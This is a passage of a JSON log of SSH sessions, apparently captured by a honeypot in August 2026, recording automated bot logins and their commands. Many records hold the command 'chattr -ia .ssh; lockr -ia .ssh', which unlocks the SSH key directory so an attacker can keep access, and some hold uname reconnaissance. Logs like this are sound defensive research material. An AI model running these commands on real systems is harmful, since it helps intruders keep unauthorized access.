  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3d7f905c-ba6c-49fd-9c86-a32b9576a007",
  "name": "sandy-plush-oryx",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 49104,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:36:48.413311+00:00",
  "ended_at": "2026-08-27T12:36:50.277326+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 65
 },
 {
  "id": "d19969c2-a9cf-4daf-9142-def539c838c8",
  "name": "prickly-genial-condor",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 57662,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:36:44.644324+00:00",
  "ended_at": "2026-08-27T12:36:47.869680+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ca3841d0-2be8-40db-974c-3a1cfa7f3b05",
  "name": "coral-keen-brambling",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 57430,
  "username": "user",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 299,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:35:51.340494+00:00",
  "ended_at": "2026-08-27T12:35:53.501899+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2259
 },
 {
  "id": "d331a879-855c-450e-b3a6-ec98cec99240",
  "name": "brazen-upland-grouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 37660,
  "username": "admin123",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 346,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:35:51.172555+00:00",
  "ended_at": "2026-08-27T12:35:52.995733+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2251
 },
 {
  "id": "6bff129b-5dbc-4096-be09-3d86b0074ffd",
  "name": "mindful-airy-bunting",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 52984,
  "username": "deploy",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 261,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:35:41.014519+00:00",
  "ended_at": "2026-08-27T12:35:42.372176+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2243
 },
 {
  "id": "d780caf3-d73f-4557-a6f8-9cc9624808ac",
  "name": "sterling-placid-stoat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 48326,
  "username": "user",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:35:36.348766+00:00",
  "ended_at": "2026-08-27T12:35:38.223388+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "beb2eb41-e143-4bbb-8a2b-750e77bf5985",
  "name": "alpine-oaken-cassowary",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 37678,
  "username": "admin123",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:35:35.908111+00:00",
  "ended_at": "2026-08-27T12:35:37.559532+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e344c064-0a2b-4585-b6cc-1de1e4ebe998",
  "name": "knotted-sturdy-sable",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 37674,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:35:34.382289+00:00",
  "ended_at": "2026-08-27T12:35:35.255734+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e479c537-8cbf-453b-b98b-21b4fdb72899",
  "name": "pristine-gleaming-dingo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 57442,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:35:33.784049+00:00",
  "ended_at": "2026-08-27T12:35:35.754740+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e2cee207-c320-4c93-ae0a-b9e5e607dad8",
  "name": "velvet-granite-dolphin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 53010,
  "username": "deploy",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:35:25.663054+00:00",
  "ended_at": "2026-08-27T12:35:27.141322+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "38c40f76-355e-43c9-b7bf-0f4408d0ace6",
  "name": "creaky-sooty-condor",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 53000,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:35:24.371041+00:00",
  "ended_at": "2026-08-27T12:35:25.146167+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c9163700-dddd-4c9e-87fc-8d26d10df5e4",
  "name": "rugged-daring-hedgehog",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.53",
  "src_port": 46530,
  "username": "xrpl",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 205,
  "probe_flagged": 0,
  "exec_command": "/bin/./uname -s -v -n -r -m",
  "started_at": "2026-08-27T12:34:52.576344+00:00",
  "ended_at": "2026-08-27T12:34:52.680152+00:00",
  "ended_reason": "exec complete",
  "commands": 7,
  "transcript_bytes": 738
 },
 {
  "id": "7821f2a4-c97d-4d17-94f9-e1d3d89ec220",
  "name": "sullen-pleasant-skink",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 59726,
  "username": "dockeruser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 442,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:34:45.065151+00:00",
  "ended_at": "2026-08-27T12:34:46.235008+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2261
 },
 {
  "id": "6162c3fb-7cf0-44a8-9579-9316ac5429bf",
  "name": "cosmic-dappled-tapir",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 49784,
  "username": "talha",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 727,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:34:33.053070+00:00",
  "ended_at": "2026-08-27T12:34:34.292996+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2248
 },
 {
  "id": "321529d5-90ce-4b2c-a955-2ea421a8bb49",
  "name": "nameless-wistful-dunlin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59754,
  "username": "dockeruser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:34:24.688330+00:00",
  "ended_at": "2026-08-27T12:34:25.690124+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a0a894f5-985c-41fd-ab6c-806006dbfbb2",
  "name": "placid-mighty-adder",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59738,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:34:21.876508+00:00",
  "ended_at": "2026-08-27T12:34:23.777115+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6f6ce012-35d0-4ff1-af9c-cb66d0a51ef3",
  "name": "silent-mindful-pheasant",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 60330,
  "username": "talha",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:34:10.719948+00:00",
  "ended_at": "2026-08-27T12:34:12.680752+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b2aceaf5-53fd-4426-a312-4eb6ef1024c8",
  "name": "merry-misty-eagle",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 49798,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:34:07.367859+00:00",
  "ended_at": "2026-08-27T12:34:09.058778+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a43d6df3-a362-41f0-ac3b-6d50b2b37097",
  "name": "flinty-foggy-stork",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 37116,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 328,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:33:44.889851+00:00",
  "ended_at": "2026-08-27T12:33:45.802782+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "f741687a-2f74-4efe-8967-e1f14d778609",
  "name": "cobalt-velvet-quokka",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 57180,
  "username": "lighthouse",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 294,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:33:42.482087+00:00",
  "ended_at": "2026-08-27T12:33:43.465726+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2257
 },
 {
  "id": "76f346a1-f615-4192-8f06-bceee895d849",
  "name": "vigilant-eager-ferret",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 51388,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 259,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:33:36.913486+00:00",
  "ended_at": "2026-08-27T12:33:39.163783+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "206594b2-42ba-441c-8ed9-a689d3e76119",
  "name": "glassy-hazel-wombat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.57.121.112",
  "src_port": 32882,
  "username": "bradyn",
  "client_version": "SSH-2.0-PuTTY_Release_0.84",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:33:33.622383+00:00",
  "ended_at": "2026-08-27T12:33:34.082112+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0f34a92d-4fee-49a2-893e-c96943b2b3f6",
  "name": "sleepy-weathered-tanager",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 57198,
  "username": "lighthouse",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:33:28.332661+00:00",
  "ended_at": "2026-08-27T12:33:29.051424+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4580ea74-454f-437d-883a-77f5f7308cc3",
  "name": "gallant-sullen-crossbill",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 37136,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:33:28.294874+00:00",
  "ended_at": "2026-08-27T12:33:29.314411+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5b23193e-2268-4797-9866-87c0f8811dc9",
  "name": "nautical-thrifty-wolverine",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 37122,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:33:26.967275+00:00",
  "ended_at": "2026-08-27T12:33:27.641572+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e76e55fb-1151-4b80-9bf7-4a404b4da8da",
  "name": "regal-tranquil-siskin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 57184,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:33:26.730756+00:00",
  "ended_at": "2026-08-27T12:33:27.751009+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "20f3ca35-e4c1-4e79-9bfe-e5ec9d9c89ed",
  "name": "feral-fierce-goose",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 51402,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:33:20.567470+00:00",
  "ended_at": "2026-08-27T12:33:22.449147+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "dc2bcc39-ea57-4c25-a79e-bd9131bf0f47",
  "name": "blazing-indigo-fieldfare",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 51394,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:33:18.618524+00:00",
  "ended_at": "2026-08-27T12:33:20.042218+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8a05d945-cba6-40fe-bfac-13bda1751752",
  "name": "tawny-shifting-oriole",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 53560,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:32:40.703333+00:00",
  "ended_at": "2026-08-27T12:33:09.349536+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3df218e2-2656-45e6-aef2-840c526205e9",
  "name": "sunlit-verdant-cuckoo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "63.141.242.2",
  "src_port": 53969,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:32:17.812558+00:00",
  "ended_at": "2026-08-27T12:32:28.522439+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3ec0d238-b76e-40d5-8697-428d08619805",
  "name": "gentle-golden-wagtail",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 59690,
  "username": "user",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 443,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:32:06.271202+00:00",
  "ended_at": "2026-08-27T12:32:07.457659+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2255
 },
 {
  "id": "806d0c7b-561d-4e41-9801-7e20ecfa53b7",
  "name": "crystal-obsidian-walrus",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.53",
  "src_port": 42566,
  "username": "node",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 199,
  "probe_flagged": 0,
  "exec_command": "/bin/./uname -s -v -n -r -m",
  "started_at": "2026-08-27T12:31:49.970812+00:00",
  "ended_at": "2026-08-27T12:31:50.071922+00:00",
  "ended_reason": "exec complete",
  "commands": 7,
  "transcript_bytes": 737
 },
 {
  "id": "8cb6aa8b-8141-4827-9197-5b2b01a4e730",
  "name": "amber-eager-crane",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59718,
  "username": "user",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:31:48.009222+00:00",
  "ended_at": "2026-08-27T12:31:50.024651+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "063ba4fa-f4f3-4a10-a2ca-0fedab92e42f",
  "name": "dappled-rugged-dipper",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 54790,
  "username": "server",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 757,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:31:46.854372+00:00",
  "ended_at": "2026-08-27T12:31:48.487515+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2259
 },
 {
  "id": "be391fb2-d976-4b3e-be6b-96645c4ce781",
  "name": "sooty-watchful-fieldfare",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59702,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:31:45.559670+00:00",
  "ended_at": "2026-08-27T12:31:47.125693+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "99ccf506-6ffc-4033-8775-6988a850b13b",
  "name": "whispering-placid-hyrax",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 51354,
  "username": "tempuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 329,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:31:43.140989+00:00",
  "ended_at": "2026-08-27T12:31:45.015186+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2253
 },
 {
  "id": "bda5fd82-149a-466a-b1a2-d839e9b74824",
  "name": "emerald-tawny-snipe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 56260,
  "username": "esadmin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 263,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:31:33.624503+00:00",
  "ended_at": "2026-08-27T12:31:34.849961+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2266
 },
 {
  "id": "0c76bfb4-836e-4008-83a9-7ac679dbfa15",
  "name": "crisp-hazel-dormouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 59090,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 299,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:31:28.446059+00:00",
  "ended_at": "2026-08-27T12:31:29.412215+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "9acbdf19-b630-45c9-a476-298ee81515bc",
  "name": "boreal-hushed-blackbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "63.141.242.2",
  "src_port": 53312,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:31:26.718118+00:00",
  "ended_at": "2026-08-27T12:31:51.274342+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0124f9d0-8a1b-43ec-9dd4-603fcd0150f3",
  "name": "northern-fickle-nightjar",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 54804,
  "username": "server",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:31:25.421123+00:00",
  "ended_at": "2026-08-27T12:31:27.101355+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d08e85c9-5f3c-4f8d-81a6-adecc04e9289",
  "name": "smoky-brazen-francolin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 54794,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:31:22.621295+00:00",
  "ended_at": "2026-08-27T12:31:23.963749+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c13d7269-efbb-4d3a-b4f5-bef321686ba6",
  "name": "snowy-seaward-antelope",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 56284,
  "username": "esadmin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:31:19.414910+00:00",
  "ended_at": "2026-08-27T12:31:20.550789+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c6734aa3-50aa-4019-b55a-52fb9955b1db",
  "name": "faded-distant-skua",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 51370,
  "username": "tempuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:31:18.039550+00:00",
  "ended_at": "2026-08-27T12:31:19.732461+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a0374ad6-7ad6-4a8e-8da9-48293e573f2a",
  "name": "sandy-lunar-redshank",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 56274,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:31:17.381128+00:00",
  "ended_at": "2026-08-27T12:31:18.886204+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a6e06384-26b7-4430-bd1a-3a334790bfaf",
  "name": "forlorn-quaint-stonechat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 51358,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:31:16.355062+00:00",
  "ended_at": "2026-08-27T12:31:17.384912+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "10a37ecf-3316-4422-9f82-db18baebbdb6",
  "name": "subtle-boreal-mongoose",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 59106,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:31:13.315126+00:00",
  "ended_at": "2026-08-27T12:31:15.126731+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ba46486c-8083-47c3-8136-655113c90e54",
  "name": "gloomy-glassy-adder",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 59104,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:31:11.920788+00:00",
  "ended_at": "2026-08-27T12:31:12.729343+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1609ea5b-d2dc-4f1e-96b4-c9b871295286",
  "name": "ruddy-humble-bunting",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 38402,
  "username": "test",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 327,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:29:42.393155+00:00",
  "ended_at": "2026-08-27T12:29:44.480765+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2257
 },
 {
  "id": "e5ebfb99-0401-4147-b4b9-c5fff6839c7d",
  "name": "verdant-breezy-goshawk",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 53220,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 265,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:29:36.925712+00:00",
  "ended_at": "2026-08-27T12:29:37.877115+00:00",
